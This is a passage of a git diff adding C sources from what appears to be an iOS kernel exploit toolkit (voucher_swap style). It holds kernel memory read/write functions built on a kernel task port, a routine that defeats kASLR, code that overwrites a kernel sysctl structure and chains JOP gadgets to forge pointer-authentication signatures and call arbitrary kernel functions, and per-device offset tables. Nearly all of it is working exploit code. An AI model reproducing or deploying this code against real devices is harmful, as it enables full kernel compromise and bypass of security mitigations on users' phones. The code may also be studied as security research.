+ * Strip a PACIx code from a kernel pointer.
+ */
+uint64_t kernel_xpaci(uint64_t pointer);
+
+/*
+ * kernel_xpacd
+ *
+ * Description:
+ * Strip a PACDx code from a kernel pointer.
+ */
+uint64_t kernel_xpacd(uint64_t pointer);
+
+#endif
diff --git a/kernel_call/kernel_memory.c b/kernel_call/kernel_memory.c
new file mode 100755
index 0000000..fba81b8
--- /dev/null
+++ b/kernel_call/kernel_memory.c
@@ -0,0 +1,129 @@
+/*
+ * kernel_memory.c
+ * Brandon Azad
+ */
+#define KERNEL_MEMORY_EXTERN
+#include "kernel_memory.h"
+
+#include "log.h"
+#include "mach_vm.h"
+#include "parameters.h"
+
+// ---- Kernel memory functions -------------------------------------------------------------------
+
+bool
+kernel_read(uint64_t address, void *data, size_t size) {
+ mach_vm_size_t size_out;
+ kern_return_t kr = mach_vm_read_overwrite(kernel_task_port, address,
+ size, (mach_vm_address_t) data, &size_out);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_vm_read_overwrite", kr, mach_error_string(kr));
+ ERROR("could not %s address 0x%016llx", "read", address);
+ return false;
+ }
+ if (size_out != size) {
+ ERROR("partial read of address 0x%016llx: %llu of %zu bytes",
+ address, size_out, size);
+ return false;
+ }
+ return true;
+}
+
+bool
+kernel_write(uint64_t address, const void *data, size_t size) {
+ kern_return_t kr = mach_vm_write(kernel_task_port, address,
+ (mach_vm_address_t) data, (mach_msg_size_t) size);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_vm_write", kr, mach_error_string(kr));
+ ERROR("could not %s address 0x%016llx", "write", address);
+ return false;
+ }
+ return true;
+}
+
+uint8_t
+kernel_read8(uint64_t address) {
+ uint8_t value;
+ bool ok = kernel_read(address, &value, sizeof(value));
+ if (!ok) {
+ return -1;
+ }
+ return value;
+}
+
+uint16_t
+kernel_read16(uint64_t address) {
+ uint16_t value;
+ bool ok = kernel_read(address, &value, sizeof(value));
+ if (!ok) {
+ return -1;
+ }
+ return value;
+}
+
+uint32_t
+kernel_read32(uint64_t address) {
+ uint32_t value;
+ bool ok = kernel_read(address, &value, sizeof(value));
+ if (!ok) {
+ return -1;
+ }
+ return value;
+}
+
+uint64_t
+kernel_read64(uint64_t address) {
+ uint64_t value;
+ bool ok = kernel_read(address, &value, sizeof(value));
+ if (!ok) {
+ return -1;
+ }
+ return value;
+}
+
+bool
+kernel_write8(uint64_t address, uint8_t value) {
+ return kernel_write(address, &value, sizeof(value));
+}
+
+bool
+kernel_write16(uint64_t address, uint16_t value) {
+ return kernel_write(address, &value, sizeof(value));
+}
+
+bool
+kernel_write32(uint64_t address, uint32_t value) {
+ return kernel_write(address, &value, sizeof(value));
+}
+
+bool
+kernel_write64(uint64_t address, uint64_t value) {
+ return kernel_write(address, &value, sizeof(value));
+}
+
+// ---- Kernel utility functions ------------------------------------------------------------------
+
+bool
+kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
+ uint64_t *ipc_port, uint64_t *ipc_entry) {
+ // Get the task's ipc_space.
+ uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space));
+ // Get the size of the table.
+ uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size));
+ // Get the index of the port and check that it is in-bounds.
+ uint32_t port_index = MACH_PORT_INDEX(port_name);
+ if (port_index >= is_table_size) {
+ return false;
+ }
+ // Get the space's is_table and compute the address of this port's entry.
+ uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table));
+ uint64_t entry = is_table + port_index * SIZE(ipc_entry);
+ if (ipc_entry != NULL) {
+ *ipc_entry = entry;
+ }
+ // Get the address of the port if requested.
+ if (ipc_port != NULL) {
+ *ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object));
+ }
+ return true;
+}
diff --git a/kernel_call/kernel_memory.h b/kernel_call/kernel_memory.h
new file mode 100755
index 0000000..6486b4e
--- /dev/null
+++ b/kernel_call/kernel_memory.h
@@ -0,0 +1,132 @@
+/*
+ * kernel_memory.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_
+#define VOUCHER_SWAP__KERNEL_MEMORY_H_
+
+#include <mach/mach.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+#ifdef KERNEL_MEMORY_EXTERN
+#define extern KERNEL_MEMORY_EXTERN
+#endif
+
+/*
+ * kernel_task_port
+ *
+ * Description:
+ * The kernel task port.
+ */
+extern mach_port_t kernel_task_port;
+
+/*
+ * kernel_task
+ *
+ * Description:
+ * The address of the kernel_task in kernel memory.
+ */
+extern uint64_t kernel_task;
+
+/*
+ * current_task
+ *
+ * Description:
+ * The address of the current task in kernel memory.
+ */
+extern uint64_t current_task;
+
+/*
+ * kernel_read
+ *
+ * Description:
+ * Read data from kernel memory.
+ */
+bool kernel_read(uint64_t address, void *data, size_t size);
+
+/*
+ * kernel_write
+ *
+ * Description:
+ * Write data to kernel memory.
+ */
+bool kernel_write(uint64_t address, const void *data, size_t size);
+
+/*
+ * kernel_read8
+ *
+ * Description:
+ * Read a single byte from kernel memory. If the read fails, -1 is returned.
+ */
+uint8_t kernel_read8(uint64_t address);
+
+/*
+ * kernel_read16
+ *
+ * Description:
+ * Read a 16-bit value from kernel memory. If the read fails, -1 is returned.
+ */
+uint16_t kernel_read16(uint64_t address);
+
+/*
+ * kernel_read32
+ *
+ * Description:
+ * Read a 32-bit value from kernel memory. If the read fails, -1 is returned.
+ */
+uint32_t kernel_read32(uint64_t address);
+
+/*
+ * kernel_read64
+ *
+ * Description:
+ * Read a 64-bit value from kernel memory. If the read fails, -1 is returned.
+ */
+uint64_t kernel_read64(uint64_t address);
+
+/*
+ * kernel_write8
+ *
+ * Description:
+ * Write a single byte to kernel memory.
+ */
+bool kernel_write8(uint64_t address, uint8_t value);
+
+/*
+ * kernel_write16
+ *
+ * Description:
+ * Write a 16-bit value to kernel memory.
+ */
+bool kernel_write16(uint64_t address, uint16_t value);
+
+/*
+ * kernel_write32
+ *
+ * Description:
+ * Write a 32-bit value to kernel memory.
+ */
+bool kernel_write32(uint64_t address, uint32_t value);
+
+/*
+ * kernel_write64
+ *
+ * Description:
+ * Write a 64-bit value to kernel memory.
+ */
+bool kernel_write64(uint64_t address, uint64_t value);
+
+/*
+ * kernel_ipc_port_lookup
+ *
+ * Description:
+ * Get the address of the ipc_port and ipc_entry for a Mach port name.
+ */
+bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
+ uint64_t *ipc_port, uint64_t *ipc_entry);
+
+#undef extern
+
+#endif
diff --git a/kernel_call/kernel_slide.c b/kernel_call/kernel_slide.c
new file mode 100755
index 0000000..832a179
--- /dev/null
+++ b/kernel_call/kernel_slide.c
@@ -0,0 +1,88 @@
+/*
+ * kernel_slide.c
+ * Brandon Azad
+ */
+#define KERNEL_SLIDE_EXTERN
+#include "kernel_slide.h"
+
+#include <assert.h>
+#include <mach/vm_region.h>
+#include <mach-o/loader.h>
+
+#include "kernel_memory.h"
+#include "log.h"
+#include "parameters.h"
+#include "platform.h"
+
+/*
+ * is_kernel_base
+ *
+ * Description:
+ * Checks if the given address is the kernel base.
+ */
+static bool
+is_kernel_base(uint64_t base) {
+ // Read the data at the base address as a Mach-O header.
+ struct mach_header_64 header = {};
+ bool ok = kernel_read(base, &header, sizeof(header));
+ if (!ok) {
+ return false;
+ }
+ // Validate that this looks like the kernel base. We don't check the CPU subtype since it
+ // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
+ // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
+ // CPU_SUBTYPE_ARM64_V8).
+ if (!(header.magic == MH_MAGIC_64
+ && header.cputype == platform.cpu_type
+ && header.filetype == MH_EXECUTE
+ && header.ncmds > 2)) {
+ return false;
+ }
+ return true;
+}
+
+bool
+kernel_slide_init() {
+ if (kernel_slide != 0) {
+ return true;
+ }
+ // Get the address of the host port.
+ mach_port_t host = mach_host_self();
+ assert(MACH_PORT_VALID(host));
+ uint64_t host_port;
+ bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
+ mach_port_deallocate(mach_task_self(), host);
+ if (!ok) {
+ ERROR("could not lookup host port");
+ return false;
+ }
+ // Get the address of realhost.
+ uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
+ return kernel_slide_init_with_kernel_image_address(realhost);
+}
+
+bool
+kernel_slide_init_with_kernel_image_address(uint64_t address) {
+ if (kernel_slide != 0) {
+ return true;
+ }
+ // Find the highest possible kernel base address that could still correspond to the given
+ // kernel image address.
+ uint64_t base = STATIC_ADDRESS(kernel_base);
+ assert(address > base);
+ base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
+ // Now walk backwards from that kernel base one kernel slide at a time until we find the
+ // real kernel base.
+ while (base > STATIC_ADDRESS(kernel_base)) {
+ bool found = is_kernel_base(base);
+ if (found) {
+ kernel_slide = base - STATIC_ADDRESS(kernel_base);
+ DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
+ return true;
+ }
+ base -= kernel_slide_step;
+ }
+ ERROR("could not find kernel base");
+ ERROR("could not determine kernel slide");
+ return false;
+}
diff --git a/kernel_call/kernel_slide.h b/kernel_call/kernel_slide.h
new file mode 100755
index 0000000..924485d
--- /dev/null
+++ b/kernel_call/kernel_slide.h
@@ -0,0 +1,42 @@
+/*
+ * kernel_slide.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_
+#define VOUCHER_SWAP__KERNEL_SLIDE_H_
+
+#include <stdbool.h>
+#include <stdint.h>
+
+#ifdef KERNEL_SLIDE_EXTERN
+#define extern KERNEL_SLIDE_EXTERN
+#endif
+
+/*
+ * kernel_slide
+ *
+ * Description:
+ * The kASLR slide.
+ */
+extern uint64_t kernel_slide;
+
+/*
+ * kernel_slide_init
+ *
+ * Description:
+ * Find the value of the kernel slide using kernel_read() and current_task.
+ */
+bool kernel_slide_init(void);
+
+/*
+ * kernel_slide_init_with_kernel_image_address
+ *
+ * Description:
+ * Find the value of the kernel slide using kernel_read(), starting with an address that is
+ * known to reside within the kernel image.
+ */
+bool kernel_slide_init_with_kernel_image_address(uint64_t address);
+
+#undef extern
+
+#endif
diff --git a/kernel_call/log.c b/kernel_call/log.c
new file mode 100755
index 0000000..0ff5f01
--- /dev/null
+++ b/kernel_call/log.c
@@ -0,0 +1,37 @@
+/*
+ * log.c
+ * Brandon Azad
+ */
+#include "log.h"
+
+#include <assert.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+void
+log_internal(char type, const char *format, ...) {
+ if (log_implementation != NULL) {
+ va_list ap;
+ va_start(ap, format);
+ log_implementation(type, format, ap);
+ va_end(ap);
+ }
+}
+
+// The default logging implementation prints to stderr with a nice hacker prefix.
+static void
+log_stderr(char type, const char *format, va_list ap) {
+ char *message = NULL;
+ vasprintf(&message, format, ap);
+ assert(message != NULL);
+ switch (type) {
+ case 'D': type = 'D'; break;
+ case 'I': type = '+'; break;
+ case 'W': type = '!'; break;
+ case 'E': type = '-'; break;
+ }
+ fprintf(stderr, "[%c] %s\n", type, message);
+ free(message);
+}
+
+void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr;
diff --git a/kernel_call/log.h b/kernel_call/log.h
new file mode 100755
index 0000000..af1920f
--- /dev/null
+++ b/kernel_call/log.h
@@ -0,0 +1,57 @@
+/*
+ * log.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__LOG_H_
+#define VOUCHER_SWAP__LOG_H_
+
+#include <stdarg.h>
+#include <stdio.h>
+
+/*
+ * log_implementation
+ *
+ * Description:
+ * This is the log handler that will be executed when code wants to log a message. The default
+ * implementation logs the message to stderr. Setting this value to NULL will disable all
+ * logging. Specify a custom log handler to process log messages in another way.
+ *
+ * Parameters:
+ * type A character representing the type of message that is being
+ * logged.
+ * format A printf-style format string describing the error message.
+ * ap The variadic argument list for the format string.
+ *
+ * Log Type:
+ * The type parameter is one of:
+ * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug
+ * verbosity.
+ * - I: Info: Used to convey general information about the exploit or its progress.
+ * - W: Warning: Used to indicate that an unusual but possibly recoverable condition was
+ * encountered.
+ * - E: Error: Used to indicate that an unrecoverable error was encountered. The code
+ * might continue running after an error was encountered, but it probably will
+ * not succeed.
+ */
+extern void (*log_implementation)(char type, const char *format, va_list ap);
+
+#define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG)
+
+#if DEBUG
+#define DEBUG_TRACE(level, fmt, ...) \
+ do { \
+ if (DEBUG_LEVEL(level)) { \
+ log_internal('D', fmt, ##__VA_ARGS__); \
+ } \
+ } while (0)
+#else
+#define DEBUG_TRACE(level, fmt, ...) do {} while (0)
+#endif
+#define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__)
+#define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__)
+#define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__)
+
+// A function to call the logging implementation.
+void log_internal(char type, const char *format, ...) __printflike(2, 3);
+
+#endif
diff --git a/kernel_call/mach_vm.h b/kernel_call/mach_vm.h
new file mode 100755
index 0000000..93263f0
--- /dev/null
+++ b/kernel_call/mach_vm.h
@@ -0,0 +1,46 @@
+/*
+ * mach_vm.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__MACH_VM_H_
+#define VOUCHER_SWAP__MACH_VM_H_
+
+#include <mach/mach.h>
+
+extern
+kern_return_t mach_vm_allocate
+(
+ vm_map_t target,
+ mach_vm_address_t *address,
+ mach_vm_size_t size,
+ int flags
+);
+
+extern
+kern_return_t mach_vm_deallocate
+(
+ vm_map_t target,
+ mach_vm_address_t address,
+ mach_vm_size_t size
+);
+
+extern
+kern_return_t mach_vm_write
+(
+ vm_map_t target_task,
+ mach_vm_address_t address,
+ vm_offset_t data,
+ mach_msg_type_number_t dataCnt
+);
+
+extern
+kern_return_t mach_vm_read_overwrite
+(
+ vm_map_t target_task,
+ mach_vm_address_t address,
+ mach_vm_size_t size,
+ mach_vm_address_t data,
+ mach_vm_size_t *outsize
+);
+
+#endif
diff --git a/kernel_call/pac.c b/kernel_call/pac.c
new file mode 100755
index 0000000..9f036fc
--- /dev/null
+++ b/kernel_call/pac.c
@@ -0,0 +1,272 @@
+/*
+ * kernel_call/pac.c
+ * Brandon Azad
+ */
+#include "pac.h"
+
+#include "kernel_call.h"
+#include "kc_parameters.h"
+#include "user_client.h"
+#include "kernel_memory.h"
+#include "log.h"
+#include "mach_vm.h"
+#include "parameters.h"
+
+#if __arm64e__
+
+// ---- Global variables --------------------------------------------------------------------------
+
+// The address of our kernel buffer.
+static uint64_t kernel_pacxa_buffer;
+
+// The forged value PACIZA('mov x0, x4 ; br x5').
+static uint64_t paciza__mov_x0_x4__br_x5;
+
+// ---- Stage 2 -----------------------------------------------------------------------------------
+
+/*
+ * stage1_kernel_call_7
+ *
+ * Description:
+ * Call a kernel function using our stage 1 execute primitive with explicit registers.
+ *
+ * See stage1_kernel_call_7v.
+ */
+static uint32_t
+stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3,
+ uint64_t x4, uint64_t x5, uint64_t x6) {
+ uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 };
+ return stage1_kernel_call_7v(function, 7, arguments);
+}
+
+/*
+ * stage1_init_kernel_pacxa_forging
+ *
+ * Description:
+ * Initialize our stage 1 capability to forge PACIA and PACDA pointers.
+ */
+static void
+stage1_init_kernel_pacxa_forging() {
+ // Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop().
+ // Because these values already contain the PACIZA code, we can call them with the stage 0
+ // call primitive to start/stop the module.
+ uint64_t paciza__l2tp_domain_module_start = kernel_read64(
+ ADDRESS(paciza_pointer__l2tp_domain_module_start));
+ uint64_t paciza__l2tp_domain_module_stop = kernel_read64(
+ ADDRESS(paciza_pointer__l2tp_domain_module_stop));
+
+ // Read out the original value of sysctl__net_ppp_l2tp__data.
+ uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)];
+ kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
+
+ // Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that
+ // sysctl_unregister_oid() will execute the following instruction sequence:
+ //
+ // LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler
+ // CBNZ X19, loc_FFFFFFF007EBD330
+ // CBZ X10, loc_FFFFFFF007EBD330
+ // MOV X19, #0
+ // MOV X11, X9 ; X11 = &old_oidp->oid_handler
+ // MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler
+ // AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler)
+ // PACIZA X10 ; X10 = PACIZA(X10)
+ // STR X10, [X9] ; old_oidp->oid_handler = X10
+ //
+ uint8_t fake_sysctl_oid[SIZE(sysctl_oid)];
+ memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid));
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link);
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp);
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000;
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5);
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1;
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0;
+
+ // Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid.
+ kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid));
+
+ // Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake
+ // sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget.
+ __unused uint32_t ret;
+ ret = stage1_kernel_call_7(
+ paciza__l2tp_domain_module_stop, // PC
+ 0, 0, 0, 0, 0, 0); // X1 - X6
+ DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
+ "l2tp_domain_module_stop", ret,
+ kernel_read32(ADDRESS(l2tp_domain_inited)));
+
+ // Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not
+ // be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use
+ // this value to reconstruct the correct PACIZA'd pointer.
+ uint64_t handler = kernel_read64(
+ ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler));
+ paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1));
+ DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5);
+
+ // Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up.
+ kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
+ ret = stage1_kernel_call_7(
+ paciza__mov_x0_x4__br_x5, // PC
+ 0, 0, 0, // X1 - X3
+ ADDRESS(sysctl__net_ppp_l2tp), // X4
+ ADDRESS(sysctl_unregister_oid), // X5
+ 0); // X6
+ DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid",
+ ADDRESS(sysctl__net_ppp_l2tp), ret);
+
+ // And finally call l2tp_domain_module_start() to re-initialize the module.
+ ret = stage1_kernel_call_7(
+ paciza__l2tp_domain_module_start, // PC
+ 0, 0, 0, 0, 0, 0); // X1 - X6
+ DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
+ "l2tp_domain_module_start", ret,
+ kernel_read32(ADDRESS(l2tp_domain_inited)));
+
+ // Alright, so now we have an arbitrary call gadget!
+ kernel_pacxa_buffer = stage1_get_kernel_buffer();
+}
+
+// ---- Stage 2 -----------------------------------------------------------------------------------
+
+/*
+ * stage2_kernel_forge_pacxa
+ *
+ * Description:
+ * Forge a PACIA or PACDA pointer using the kernel forging gadgets.
+ */
+static uint64_t
+stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) {
+ const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer);
+ const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
+ // Initialize the kernel_pacxa_buffer to be all zeros.
+ uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset];
+ memset(pacxa_buffer, 0, sizeof(pacxa_buffer));
+ kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer));
+ // The buffer address we pass to the gadget is offset from the part of that we initialize
+ // (to save us some space). The result is stored at different offsets in the buffer
+ // depending on whether the operation is PACIA or PACDA.
+ uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset;
+ uint64_t result_address = buffer_address;
+ uint64_t pacxa_gadget;
+ if (instruction) {
+ result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
+ pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget);
+ } else {
+ result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
+ pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget);
+ }
+ // We need to set:
+ //
+ // x2 = buffer_address
+ // x9 = address
+ // x10 = context
+ //
+ // In order to do that we'll execute the following JOP sequence before jumping to the
+ // gadget:
+ //
+ // mov x0, x4 ; br x5
+ // mov x9, x0 ; br x1
+ // mov x10, x3 ; br x6
+ //
+ __unused uint32_t ret;
+ ret = stage1_kernel_call_7(
+ paciza__mov_x0_x4__br_x5, // PC
+ ADDRESS(mov_x10_x3__br_x6), // X1
+ buffer_address, // X2
+ context, // X3
+ address, // X4
+ ADDRESS(mov_x9_x0__br_x1), // X5
+ pacxa_gadget); // X6
+ DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret);
+ // Now recover the PACXA'd value.
+ uint64_t pacxa = kernel_read64(result_address);
+ return pacxa;
+}
+
+/*
+ * xpaci
+ *
+ * Description:
+ * Strip a PACIx code from a pointer.
+ */
+static uint64_t
+xpaci(uint64_t pointer) {
+ asm("xpaci %[value]\n" : [value] "+r"(pointer));
+ return pointer;
+}
+
+/*
+ * xpacd
+ *
+ * Description:
+ * Strip a PACDx code from a pointer.
+ */
+static uint64_t
+xpacd(uint64_t pointer) {
+ asm("xpacd %[value]\n" : [value] "+r"(pointer));
+ return pointer;
+}
+
+#endif // __arm64e__
+
+// ---- API ---------------------------------------------------------------------------------------
+
+bool
+stage2_kernel_call_init() {
+#if __arm64e__
+ stage1_init_kernel_pacxa_forging();
+#endif
+ return true;
+}
+
+void
+stage2_kernel_call_deinit() {
+}
+
+uint32_t
+stage2_kernel_call_7v(uint64_t function,
+ size_t argument_count, const uint64_t arguments[]) {
+ uint64_t paciza_function = kernel_forge_pacia(function, 0);
+ return stage1_kernel_call_7v(paciza_function, argument_count, arguments);
+}
+
+uint64_t
+kernel_forge_pacia(uint64_t pointer, uint64_t context) {
+#if __arm64e__
+ return stage2_kernel_forge_pacxa(pointer, context, true);
+#else
+ return pointer;
+#endif
+}
+
+uint64_t
+kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) {
+ uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff);
+ return kernel_forge_pacia(pointer, context);
+}
+
+uint64_t
+kernel_forge_pacda(uint64_t pointer, uint64_t context) {
+#if __arm64e__
+ return stage2_kernel_forge_pacxa(pointer, context, false);
+#else
+ return pointer;
+#endif
+}
+
+uint64_t
+kernel_xpaci(uint64_t pointer) {
+#if __arm64e__
+ return xpaci(pointer);
+#else
+ return pointer;
+#endif
+}
+
+uint64_t
+kernel_xpacd(uint64_t pointer) {
+#if __arm64e__
+ return xpacd(pointer);
+#else
+ return pointer;
+#endif
+}
diff --git a/kernel_call/pac.h b/kernel_call/pac.h
new file mode 100755
index 0000000..34a6264
--- /dev/null
+++ b/kernel_call/pac.h
@@ -0,0 +1,48 @@
+/*
+ * kernel_call/pac.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_
+#define VOUCHER_SWAP__KERNEL_CALL__PAC_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+/*
+ * stage2_kernel_call_init
+ *
+ * Description:
+ * Initialize stage 2 of kernel function calling.
+ *
+ * Initializes:
+ * stage2_kernel_call_7v()
+ * kernel_forge_pacia()
+ * kernel_forge_pacia_with_type()
+ * kernel_forge_pacda()
+ */
+bool stage2_kernel_call_init(void);
+
+/*
+ * stage2_kernel_call_deinit
+ *
+ * Description:
+ * Deinitialize stage 2 of kernel function calling.
+ */
+void stage2_kernel_call_deinit(void);
+
+/*
+ * stage2_kernel_call_7v
+ *
+ * Description:
+ * Call a kernel function using our stage 2 execute primitive.
+ *
+ * Restrictions:
+ * At most 7 arguments can be passed.
+ * The return value is truncated to 32 bits.
+ * At stage 2, only arguments X1 - X6 are controlled.
+ */
+uint32_t stage2_kernel_call_7v(uint64_t function,
+ size_t argument_count, const uint64_t arguments[]);
+
+#endif
diff --git a/kernel_call/parameters.c b/kernel_call/parameters.c
new file mode 100755
index 0000000..5a5c715
--- /dev/null
+++ b/kernel_call/parameters.c
@@ -0,0 +1,212 @@
+/*
+ * parameters.c
+ * Brandon Azad
+ */
+#define PARAMETERS_EXTERN
+#include "parameters.h"
+
+#include <assert.h>
+#include <stdbool.h>
+#include <string.h>
+#include <sys/sysctl.h>
+#include <sys/utsname.h>
+
+#include "log.h"
+#include "platform.h"
+#include "platform_match.h"
+
+// ---- Initialization routines -------------------------------------------------------------------
+
+// A struct describing an initialization.
+struct initialization {
+ const char *devices;
+ const char *builds;
+ void (*init)(void);
+};
+
+// Run initializations matching this platform.
+static size_t
+run_initializations(struct initialization *inits, size_t count) {
+ size_t match_count = 0;
+ for (size_t i = 0; i < count; i++) {
+ struct initialization *init = &inits[i];
+ if (platform_matches(init->devices, init->builds)) {
+ init->init();
+ match_count++;
+ }
+ }
+ return match_count;
+}
+
+// A helper macro to get the number of elements in a static array.
+#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
+
+// ---- General system parameters -----------------------------------------------------------------
+
+// Initialization for general system parameters.
+static void
+init__system_parameters() {
+ STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000;
+ kernel_slide_step = 0x200000;
+ message_size_for_kmsg_zone = 76;
+ kmsg_zone_size = 256;
+ max_ool_ports_per_message = 16382;
+ gc_step = 2 * MB;
+}
+
+// A list of general system parameter initializations by platform.
+static struct initialization system_parameters[] = {
+ { "*", "*", init__system_parameters },
+};
+
+// ---- Offset initialization ---------------------------------------------------------------------
+
+// Initialization for iPhone11,8 16C50 (and similar devices).
+static void
+offsets__iphone11_8__16C50() {
+ SIZE(ipc_entry) = 0x18;
+ OFFSET(ipc_entry, ie_object) = 0;
+ OFFSET(ipc_entry, ie_bits) = 8;
+ OFFSET(ipc_entry, ie_request) = 16;
+
+ SIZE(ipc_port) = 0xa8;
+ BLOCK_SIZE(ipc_port) = 0x4000;
+ OFFSET(ipc_port, ip_bits) = 0;
+ OFFSET(ipc_port, ip_references) = 4;
+ OFFSET(ipc_port, waitq_flags) = 24;
+ OFFSET(ipc_port, imq_messages) = 64;
+ OFFSET(ipc_port, imq_msgcount) = 80;
+ OFFSET(ipc_port, imq_qlimit) = 82;
+ OFFSET(ipc_port, ip_receiver) = 96;
+ OFFSET(ipc_port, ip_kobject) = 104;
+ OFFSET(ipc_port, ip_nsrequest) = 112;
+ OFFSET(ipc_port, ip_requests) = 128;
+ OFFSET(ipc_port, ip_mscount) = 156;
+ OFFSET(ipc_port, ip_srights) = 160;
+
+ SIZE(ipc_port_request) = 0x10;
+ OFFSET(ipc_port_request, ipr_soright) = 0;
+
+ OFFSET(ipc_space, is_table_size) = 0x14;
+ OFFSET(ipc_space, is_table) = 0x20;
+
+ SIZE(ipc_voucher) = 0x50;
+ BLOCK_SIZE(ipc_voucher) = 0x4000;
+
+ OFFSET(proc, p_pid) = 0x60;
+ OFFSET(proc, p_ucred) = 0xf8;
+ OFFSET(proc, task) = 0x10;
+ OFFSET(proc, p_list) = 0x8;
+
+ SIZE(sysctl_oid) = 0x50;
+ OFFSET(sysctl_oid, oid_parent) = 0x0;
+ OFFSET(sysctl_oid, oid_link) = 0x8;
+ OFFSET(sysctl_oid, oid_kind) = 0x14;
+ OFFSET(sysctl_oid, oid_handler) = 0x30;
+ OFFSET(sysctl_oid, oid_version) = 0x48;
+ OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
+
+ OFFSET(task, lck_mtx_type) = 0xb;
+ OFFSET(task, ref_count) = 0x10;
+ OFFSET(task, active) = 0x14;
+ OFFSET(task, map) = 0x20;
+ OFFSET(task, itk_space) = 0x300;
+ OFFSET(task, bsd_info) = 0x368;
+}
+
+// Initialization for iPhone10,1 16B92 (and similar devices).
+static void
+offsets__iphone10_1__16B92() {
+ offsets__iphone11_8__16C50();
+
+ OFFSET(task, bsd_info) = 0x358;
+}
+
+// Initialization for iPhone10,1 16B92 (and similar devices).
+static void
+offsets__iphone9_3__15E302() {
+ SIZE(ipc_entry) = 0x18;
+ OFFSET(ipc_entry, ie_object) = 0;
+ OFFSET(ipc_entry, ie_bits) = 8;
